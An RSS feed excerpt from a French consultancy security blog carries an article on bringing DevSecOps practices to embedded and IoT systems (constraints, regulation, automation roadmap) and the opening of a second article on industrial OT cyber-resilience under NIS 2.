<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cybersecurity - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/cybersecurity-2/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/cybersecurity-2/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 21 Oct 2026 14:58:54 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>cybersecurity - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/cybersecurity-2/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Comment le DevSecOps peut transformer la sécurité des systèmes embarqués ?</title>
		<link>https://www.riskinsight-wavestone.com/2026/10/comment-le-devsecops-peut-transformer-la-securite-des-systemes-embarques/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/10/comment-le-devsecops-peut-transformer-la-securite-des-systemes-embarques/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 21 Oct 2026 14:58:52 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[Rubriques]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[embedded systems]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=30953</guid>

					<description><![CDATA[<p>La culture agile au service de la sécurité&#160; Le DevSecOps, en étendant les principes du DevOps à la sécurité, a pour objectif d&#8217;intégrer la sécurité by design et de l’automatiser à chaque étape du cycle de développement et opérationnel d’un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/10/comment-le-devsecops-peut-transformer-la-securite-des-systemes-embarques/">Comment le DevSecOps peut transformer la sécurité des systèmes embarqués ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1><span class="TextRun SCXW15850876 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW15850876 BCX8">La culture agile au service de la sécurité</span></span><span class="EOP Selected SCXW15850876 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h1>



<p><span class="TextRun SCXW34996980 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW34996980 BCX8">Le </span><span class="NormalTextRun SCXW34996980 BCX8">DevSecOps</span><span class="NormalTextRun SCXW34996980 BCX8">, en étendant les principes du DevOps à la sécurité,</span><span class="NormalTextRun SCXW34996980 BCX8"> a pour objectif d&rsquo;intégrer la sécurité </span></span><em><span class="TextRun SCXW34996980 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW34996980 BCX8">by </span><span class="NormalTextRun SCXW34996980 BCX8">design</span></span></em><span class="TextRun SCXW34996980 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW34996980 BCX8"> et </span><span class="NormalTextRun SCXW34996980 BCX8">de</span><span class="NormalTextRun SCXW34996980 BCX8"> l’automatiser à chaque étape du cycle de développement</span><span class="NormalTextRun SCXW34996980 BCX8"> et op</span><span class="NormalTextRun SCXW34996980 BCX8">é</span><span class="NormalTextRun SCXW34996980 BCX8">rationnel</span><span class="NormalTextRun SCXW34996980 BCX8"> d’un projet</span><span class="NormalTextRun SCXW34996980 BCX8">.</span><span class="NormalTextRun SCXW34996980 BCX8"> Il </span><span class="NormalTextRun SCXW34996980 BCX8">apporte ainsi </span><span class="NormalTextRun SCXW34996980 BCX8">pour chaque partie prenante du projet</span><span class="NormalTextRun SCXW34996980 BCX8"> une responsabilité vis à vis de la sécurité</span><span class="NormalTextRun SCXW34996980 BCX8"> qui </span><span class="NormalTextRun CommentStart SCXW34996980 BCX8">doi</span><span class="NormalTextRun SCXW34996980 BCX8">t</span><span class="NormalTextRun SCXW34996980 BCX8"> l&rsquo;intégrer dans leur</span><span class="NormalTextRun SCXW34996980 BCX8">s</span><span class="NormalTextRun SCXW34996980 BCX8"> process.</span> <strong><span class="NormalTextRun SCXW34996980 BCX8">L</span><span class="NormalTextRun SCXW34996980 BCX8">’</span><span class="NormalTextRun SCXW34996980 BCX8">objectif principa</span><span class="NormalTextRun SCXW34996980 BCX8">l</span> <span class="NormalTextRun SCXW34996980 BCX8">est </span><span class="NormalTextRun SCXW34996980 BCX8">d&rsquo;avoir</span><span class="NormalTextRun SCXW34996980 BCX8"> un</span><span class="NormalTextRun SCXW34996980 BCX8"> cycle de </span><span class="NormalTextRun SCXW34996980 BCX8">livraison du </span><span class="NormalTextRun SCXW34996980 BCX8">produit </span> <span class="NormalTextRun SCXW34996980 BCX8">plus</span><span class="NormalTextRun SCXW34996980 BCX8"> rapide et de </span><span class="NormalTextRun SCXW34996980 BCX8">rétroaction</span><span class="NormalTextRun SCXW34996980 BCX8"> plus court</span><span class="NormalTextRun SCXW34996980 BCX8">, tout en </span><span class="NormalTextRun SCXW34996980 BCX8">prévenant</span><span class="NormalTextRun SCXW34996980 BCX8"> les failles de sécurité en production </span></strong><span class="NormalTextRun SCXW34996980 BCX8">et donc</span><span class="NormalTextRun SCXW34996980 BCX8"> d&rsquo;avoir un coût global réduit.</span></span><span class="EOP Selected SCXW34996980 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<p data-wp-editing="1"><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-30964" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure1_DevSecOps_FR.png" alt="" width="1043" height="469" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure1_DevSecOps_FR.png 1043w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure1_DevSecOps_FR-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure1_DevSecOps_FR-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure1_DevSecOps_FR-768x345.png 768w" sizes="(max-width: 1043px) 100vw, 1043px" />&nbsp;</p>



<h1><span class="NormalTextRun SCXW87556033 BCX8">Des systèmes </span><span class="NormalTextRun SCXW87556033 BCX8">embarqués </span><span class="NormalTextRun SCXW87556033 BCX8">de plus en plus connectés et de plus en plus nombreux </span><span class="NormalTextRun SCXW87556033 BCX8">au sein de vos écosystèmes</span><span class="NormalTextRun SCXW87556033 BCX8">…</span></h1>



<p><span class="TextRun SCXW267522180 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><strong><span class="NormalTextRun CommentStart SCXW267522180 BCX8">U</span><span class="NormalTextRun SCXW267522180 BCX8">n système embarqué est un objet contenant des éléments numériques</span></strong><span class="NormalTextRun SCXW267522180 BCX8">, il est</span><span class="NormalTextRun SCXW267522180 BCX8"> composé d’une partie matérielle </span><span class="NormalTextRun SCXW267522180 BCX8">et logicielle</span><span class="NormalTextRun SCXW267522180 BCX8"> ayant une connexion de données directe ou indirecte, logique ou physique, avec un appareil ou un réseau. </span><span class="NormalTextRun CommentStart SCXW267522180 BCX8">La prolifération des systèmes embarqués dans le monde </span><span class="NormalTextRun SCXW267522180 BCX8">actuel </span><span class="NormalTextRun SCXW267522180 BCX8">(</span><span class="NormalTextRun SCXW267522180 BCX8">22</span><span class="NormalTextRun SCXW267522180 BCX8">,3</span> <span class="NormalTextRun SCXW267522180 BCX8">milliards </span><span class="NormalTextRun SCXW267522180 BCX8">de connexions IoT fin 2025 et plus de </span><span class="NormalTextRun SCXW267522180 BCX8">47 </span><span class="NormalTextRun SCXW267522180 BCX8">milliards </span><span class="NormalTextRun SCXW267522180 BCX8">attendues</span><span class="NormalTextRun SCXW267522180 BCX8"> en 2031</span><span class="NormalTextRun SCXW267522180 BCX8"> selon </span><span class="NormalTextRun SCXW267522180 BCX8">l’Ericsson </span><span class="NormalTextRun SCXW267522180 BCX8">Mobility</span><span class="NormalTextRun SCXW267522180 BCX8"> Report de juin 2026</span><span class="NormalTextRun SCXW267522180 BCX8">)</span><strong>&nbsp;<span class="NormalTextRun SCXW267522180 BCX8">élargit</span></strong><span class="NormalTextRun SCXW267522180 BCX8"><strong> la surface d&rsquo;attaque</strong>, et ces objets sont de plus en plus visés : selon le </span><span class="NormalTextRun SCXW267522180 BCX8">2026</span><span class="NormalTextRun SCXW267522180 BCX8"> Cyber </span><span class="NormalTextRun SCXW267522180 BCX8">Protect</span><span class="NormalTextRun SCXW267522180 BCX8"> Report</span><span class="NormalTextRun SCXW267522180 BCX8"> de </span><span class="NormalTextRun SCXW267522180 BCX8">SonicWall</span><span class="NormalTextRun SCXW267522180 BCX8">, les attaques ciblant </span><span class="NormalTextRun SCXW267522180 BCX8">l’IoT </span><span class="NormalTextRun SCXW267522180 BCX8">ont </span><span class="NormalTextRun SCXW267522180 BCX8">progressé de 11 % en 2025.</span><span class="NormalTextRun SCXW267522180 BCX8"> Des secteurs critiques comme l&rsquo;automobile, l&rsquo;aéronautique, la santé ou l&rsquo;énergie sont directement concernés.</span></span><span class="EOP Selected TrackedChange SCXW267522180 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<h1><span class="TextRun SCXW249315331 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW249315331 BCX8">… mais aussi de plus en plus vulnérables</span></span><span class="EOP Selected SCXW249315331 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h1>



<p><span data-contrast="auto"><strong>Les systèmes embarqués deviennent la cible d’attaques</strong> exploitant aussi bien les failles des piles logicielles embarquées que les vulnérabilités des communications réseau, notamment lorsque les mécanismes de chiffrement ou d’authentification sont insuffisants. L&rsquo;absence de vérification de l&rsquo;intégrité du firmware et le manque de suivi des composants tiers, propriétaires ou open source, constituent également des points de fragilité. Par ailleurs, lorsque l’accès matériel est possible, les interfaces physiques (ports de débogage, bus internes, etc.) représentent des vecteurs d’attaques supplémentaires. Enfin, les processus de mise à jour, de déploiement et d’approvisionnement logiciel s’imposent comme des maillons critiques : la compromission d’un firmware, d’une mise à jour OTA ou</span>&nbsp;<span data-contrast="auto">d’un élément de la supply chain peut permettre l’introduction de code malveillant au cœur même du système.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><span data-contrast="auto">Ainsi, <strong>la surface d’attaque des systèmes embarqués ne se limite plus à un composant isolé</strong>, mais s’étend à l’ensemble de leurs briques logicielles, matérielles, de communication et de chaîne d’approvisionnement, renforçant leur vulnérabilité au sein d’écosystèmes toujours plus interconnectés.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><b><span data-contrast="auto">Il est donc critique d’intégrer le plus efficacement possible la sécurité dans les systèmes embarqués.</span></b></p>



<h1><span class="TextRun SCXW173508455 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW173508455 BCX8">Pourquoi</span><span class="NormalTextRun SCXW173508455 BCX8"> le </span><span class="NormalTextRun SCXW173508455 BCX8">DevSecOps</span><span class="NormalTextRun SCXW173508455 BCX8"> permet de relever </span><span class="NormalTextRun SCXW173508455 BCX8">les défis de sécurité actuels pour </span><span class="NormalTextRun SCXW173508455 BCX8">l’embarqué</span><span class="NormalTextRun SCXW173508455 BCX8"> ?</span></span><span class="EOP Selected SCXW173508455 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h1>



<p><span data-contrast="auto">La mise en œuvre d’une approche DevSecOps dans le développement de systèmes embarqués est une solution face à ces enjeux, en apportant de l’agilité dans le développement. Concrètement, cette approche permet</span> <span data-contrast="auto">de :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<ol class="wp-block-list">
<li><strong>Anticiper, prévenir et répondre plus efficacement aux failles de sécurité&nbsp;</strong>
<ul class="wp-block-list">
<li>Grâce à une intégration continue de la sécurité, les failles sont détectées beaucoup plus tôt dans le cycle de vie du produit, souvent avant même que le code ne soit déployé sur le matériel. Par exemple, des analyses statiques ou des scans de dépendances automatisés peuvent repérer une vulnérabilité dès la phase de développement, évitant ainsi des correctifs coûteux une fois le produit sur le terrain.&nbsp;</li>
</ul>
</li>



<li><strong>Anticiper, prévenir et répondre plus efficacement aux attaques</strong>
<ul class="wp-block-list">
<li>&nbsp;La démarche permet aussi de réagir plus vite lorsqu&rsquo;une attaque survient. L&rsquo;inventaire des composants logiciels (SBOM) permet d&rsquo;identifier immédiatement les produits concernés, la centralisation des logs facilite la détection d&rsquo;un comportement anormal, et le pipeline automatisé permet de livrer un correctif testé et signé par une mise à jour à distance (OTA), sans attendre le prochain cycle de livraison.&nbsp;</li>
</ul>
</li>



<li><strong>Intégrer de la sécurité en tant que code via des outils d’automatisation&nbsp;</strong>
<ul class="wp-block-list">
<li>Cela signifie que les politiques, tests et contrôles de sécurité deviennent eux aussi automatisables et versionnables, au même titre que le code applicatif. Les outils d’analyse, de signature, de composition logicielle ou de tests de conformité peuvent être intégrés directement dans la chaîne CI/CD, garantissant que chaque <em>build</em> passe par des vérifications systématiques et reproductibles.</li>
</ul>
</li>
</ol>



<p>Cette automatisation change la donne : elle permet aux équipes embarquées de sécuriser leur produit sans dépendre exclusivement d’audits manuels ou de validations externes.</p>
<p>De plus, corriger une faille découverte en production peut coûter 29 à 1500 fois plus cher que si cette faiblesse avait été identifiée dès les premières phases de conception, selon <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://ntrs.nasa.gov/api/citations/20100036670/downloads/20100036670.pdf" target="_blank" rel="noreferrer noopener">une étude de la NASA</a>.</span> Cette approche conduit donc naturellement à <strong>une réduction globale des coûts liés à la sécurité</strong>.</p>



<h1><span class="TextRun SCXW84371497 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW84371497 BCX8">Une adoption qui demande plus qu’un simple changement d’outils</span></span><span class="EOP Selected SCXW84371497 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h1>



<p><strong><span class="TextRun SCXW108697482 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW108697482 BCX8">Cependant, la théorie se heurte à la réalité</span></span></strong><span class="TextRun SCXW108697482 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW108697482 BCX8"> : l’application du </span><span class="NormalTextRun SCXW108697482 BCX8">DevSecOps</span><span class="NormalTextRun SCXW108697482 BCX8"> aux systèmes embarqués fait face à des contraintes différentes de celles rencontrées dans l’IT classique</span></span><span class="TextRun SCXW108697482 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW108697482 BCX8"> :</span></span><span class="EOP Selected SCXW108697482 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<h2><span class="NormalTextRun SCXW207946215 BCX8">Des contraintes </span><span class="NormalTextRun SCXW207946215 BCX8">matérielles</span></h2>



<p><span data-contrast="auto">Là où les infrastructures cloud peuvent être redimensionnées et corrigées presque instantanément,<strong> les contraintes de mémoire et de puissance de calcul</strong> en embarqué rendent ces opérations beaucoup plus difficiles. Un logiciel embarqué doit être optimisée, ce qui complique l’intégration d’outils de sécurité souvent conçus pour des environnements plus puissants.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><span data-contrast="auto"> À cela s’ajoute une <strong>diversité matérielle importante</strong> : il existe nombreux systèmes d’exploitation, architectures ou outils de compilation différents qui ont leurs applications propres. Il est donc bien plus complexe de mettre en place une approche DevSecOps uniforme.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<h2><span class="TextRun SCXW82234953 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW82234953 BCX8">Des contraintes </span><span class="NormalTextRun SCXW82234953 BCX8">de</span><span class="NormalTextRun SCXW82234953 BCX8"> m</span><span class="NormalTextRun SCXW82234953 BCX8">ise</span><span class="NormalTextRun SCXW82234953 BCX8">s</span><span class="NormalTextRun SCXW82234953 BCX8"> à jour</span></span><span class="EOP Selected SCXW82234953 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></h2>



<p><strong>Les mises à jour sécurisées <i>Over-The-Air</i></strong><span data-contrast="auto"><strong> (OTA) constituent un autre point sensible</strong> : elles doivent être fiables, authentifiées et capables de revenir à une version précédente (</span><i><span data-contrast="auto">rollback</span></i><span data-contrast="auto">) en cas d’échec. Si un serveur peut être patché en quelques secondes, un équipement embarqué nécessite quant à lui une logistique de déploiement bien plus lourde.</span></p>
<p><span data-contrast="auto">De plus, <strong>les systèmes isolés (sans connectivité fiable ou continue), posent un défi supplémentaire</strong>. Il est en effet complexe de leur transmettre les mises à jour de façon fiable et sécurisée.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><span data-contrast="auto">Quant aux systèmes intégrés en production, leur mise à jour implique souvent des arrêts.<strong> Il est donc nécessaire de minimiser l’interruption, de garantir une reprise immédiate et de s’assurer que la mise à jour n’impactera pas la continuité opérationnelle une fois déployée.</strong></span><strong>&nbsp;</strong></p>



<h2><span class="TextRun SCXW209434183 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW209434183 BCX8">Des contraintes réglementaires</span></span><span class="EOP Selected SCXW209434183 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h2>



<p><span class="TextRun SCXW249066114 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW249066114 BCX8">Les enjeux réglementaires sont également de plus en plus importants. </span><span class="NormalTextRun CommentStart SCXW249066114 BCX8">Des textes comme le<strong> CRA</strong> en Europe imposent des exigences de sécurité strictes pour les objets connectés</span><span class="NormalTextRun SCXW249066114 BCX8">, comme la garantie de mises à jour de sécurité pendant plusieurs années. Dans le domaine automobile, la réglementation <strong>UNECE R155</strong> impose la mise en place d’un management continu des risques, des tests réguliers de sécurité, </span><span class="NormalTextRun SCXW249066114 BCX8">tandis </span><span class="NormalTextRun CommentStart SCXW249066114 BCX8">que </span><span class="NormalTextRun SCXW249066114 BCX8">l’<strong>UNR156</strong> et le </span></span><strong><span class="TextRun SCXW249066114 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW249066114 BCX8">Software Update Management System</span></span></strong><span class="TextRun SCXW249066114 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW249066114 BCX8"> </span><span class="NormalTextRun SCXW249066114 BCX8">imposent </span><span class="NormalTextRun SCXW249066114 BCX8">des processus de mise à jour sécurisés</span><span class="NormalTextRun SCXW249066114 BCX8">. Ainsi, l’hétérogénéité des normes selon les secteurs industriels, le manque d’outils adaptés, les limitations matérielles et logicielles complexifient la définition d’une stratégie </span><span class="NormalTextRun SCXW249066114 BCX8">DevSecOps</span><span class="NormalTextRun SCXW249066114 BCX8"> unifiée.</span></span><span class="EOP Selected SCXW249066114 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<h2><span class="TextRun SCXW209021671 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun SCXW209021671 BCX8">Des contraintes organisationnelles</span></span><span class="EOP Selected SCXW209021671 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h2>



<p><span data-contrast="auto">Enfin, il existe des <strong>défis humains et organisationnels</strong> : les équipes embarquées ne disposent pas toujours de profils spécialisés en cybersécurité, et les rôles de </span><i><span data-contrast="auto">Security Champions</span></i><span data-contrast="auto"> (relais sécurité au sein des équipes produits) sont encore rares. Il faut donc investir dans la formation, la sensibilisation et la collaboration entre développeurs, testeurs et ingénieurs systèmes.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><span data-contrast="auto">Tous ces facteurs rendent le retour sur investissement difficile à estimer. Les coûts initiaux en outils, en formation et en temps d’intégration peuvent paraître élevés, alors que les bénéfices (réduction du risque, meilleure résilience, conformité) ne se mesurent souvent qu’à long terme.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>
<p><b><span data-contrast="auto">Autrement dit, appliquer les pratiques DevSecOps à des systèmes aussi contraints nécessite d’adapter les outils, les processus, et parfois même la culture d’équipe.</span></b></p>



<h2><span class="TextRun SCXW10125408 BCX8" lang="FR-FR" xml:lang="FR-FR" data-contrast="auto"><span class="NormalTextRun CommentStart SCXW10125408 BCX8">Surmonter les difficultés </span><span class="NormalTextRun SCXW10125408 BCX8">grâce à une feuille de route claire et des technologies adaptées</span></span><span class="EOP Selected SCXW10125408 BCX8" data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></h2>



<p><span data-contrast="auto">Heureusement, ces obstacles ne sont pas insurmontables : il existe aujourd’hui des solutions concrètes pour accompagner la mise en œuvre du DevSecOps dans l’embarqué. <strong>Des outils modernes comme les systèmes de </strong></span><strong><i>build</i> automatisés (Yocto, Buildroot, etc.), les plateformes CI/CD intégrées ou encore des services SaaS spécialisés, permettent de sécuriser le cycle de développement sans alourdir les contraintes matérielles.&nbsp;</strong></p>
<p><span data-contrast="auto">L’approche la plus efficace consiste à avancer par étapes, en commençant par automatiser les tâches les plus répétitives et à forte valeur ajoutée (analyse statique du code, signature automatique des images, génération de SBOM, etc.), puis en intégrant progressivement des outils de contrôle de sécurité adaptés à l’environnement cible. </span><b><span data-contrast="auto">L’objectif n’est pas d’être parfait tout de suite, mais d’améliorer continuellement la sécurité.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>



<p><img decoding="async" class="aligncenter size-full wp-image-30960" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure2_DevSecOps_FR.png" alt="" width="1154" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure2_DevSecOps_FR.png 1154w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure2_DevSecOps_FR-402x191.png 402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure2_DevSecOps_FR-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/10/Figure2_DevSecOps_FR-768x365.png 768w" sizes="(max-width: 1154px) 100vw, 1154px" /></p>



<p><b><span data-contrast="auto">L&rsquo;intelligence artificielle décuple par ailleurs ces possibilités d&rsquo;automatisation </span></b><span data-contrast="auto">: tri et priorisation des alertes remontées par les analyses statiques, proposition de correctifs, génération de tests unitaires ou de scénarios de fuzzing, assistance à la revue de code. Ces usages</span><b><span data-contrast="auto"> ne dispensent pas d&rsquo;une validation</span></b><span data-contrast="auto"> humaine, mais ils </span><b><span data-contrast="auto">réduisent l&rsquo;effort demandé aux équipes et rendent la démarche plus accessible</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:240}">&nbsp;</span></p>
<p><span data-contrast="auto">En parallèle, instaurer une culture de collaboration et de montée en compétences, par exemple en désignant des référents sécurité et en s’appuyant sur des formations spécifiques, facilite l’appropriation des nouvelles pratiques.</span></p>
<p><span data-contrast="auto">Ainsi, avec une feuille de route claire, des choix technologiques adaptés et une sensibilisation importante des responsables des équipes produit, il devient possible de franchir ces barrières techniques et organisationnelles, et de tirer pleinement parti des bénéfices du DevSecOps dans l’embarqué.</span></p>
<p><span data-contrast="auto">En définitive, le DevSecOps ne représente pas une contrainte de plus pour l’embarqué, mais un </span><b><span data-contrast="auto">changement indispensable</span></b><span data-contrast="auto"> qui doit s’opérer de façon </span><b><span data-contrast="auto">progressive</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">maîtrisée</span></b><span data-contrast="auto">. Il est essentiel d’accepter cette évolution comme une </span><b><span data-contrast="auto">opportunité de renforcer durablement la sécurité</span></b><span data-contrast="auto"> tout en accompagnant les équipes dans cette transformation.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}">&nbsp;</span></p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/10/comment-le-devsecops-peut-transformer-la-securite-des-systemes-embarques/">Comment le DevSecOps peut transformer la sécurité des systèmes embarqués ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/10/comment-le-devsecops-peut-transformer-la-securite-des-systemes-embarques/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cyber-résilience industrielle : par où commencer face à NIS 2 ?</title>
		<link>https://www.riskinsight-wavestone.com/2026/07/cyber-resilience-industrielle-par-ou-commencer-face-a-nis-2/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/07/cyber-resilience-industrielle-par-ou-commencer-face-a-nis-2/#respond</comments>
		
		<dc:creator><![CDATA[Victor Hu]]></dc:creator>
		<pubDate>Wed, 15 Jul 2026 13:11:46 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[Rubriques]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[nis 2]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=30437</guid>

					<description><![CDATA[<p>Ce chiffre révèle un changement profond : les sauvegardes, souvent considérées dernier recours, sont désormais des cibles à part entière. Face à une cyberattaque majeure, les plans de continuité traditionnels ne suffisent plus. En effet, ils ne fonctionnent pas en milieu industriel,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/07/cyber-resilience-industrielle-par-ou-commencer-face-a-nis-2/">Cyber-résilience industrielle : par où commencer face à NIS 2 ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: center;"><span data-contrast="auto"><img decoding="async" class="alignnone  wp-image-30471" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig1-1-437x131.png" alt="" width="520" height="156" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig1-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig1-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig1-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig1-1.png 968w" sizes="(max-width: 520px) 100vw, 520px" /></span></p>
<p style="text-align: left;"><span data-contrast="auto"><strong>Ce chiffre révèle un changement profond : les sauvegardes, souvent considérées dernier recours, sont désormais des cibles à part entière. Face à une cyberattaque majeure, les plans de continuité traditionnels ne suffisent plus.</strong> En effet, ils ne fonctionnent pas en milieu industriel, notamment via la nature des enjeux : sécurité physique, impact environnemental, production continue, etc.</span></p>
<p><span data-contrast="auto">C&rsquo;est pourquoi<strong> les organisations les plus avancées construisent aujourd&rsquo;hui des programmes de cyber-résilience OT dédiés</strong>, conçus pour gérer la crise face à une perturbation ou un incident majeur, assurer la continuité des activités essentielles et restaurer les éléments altérés.</span></p>
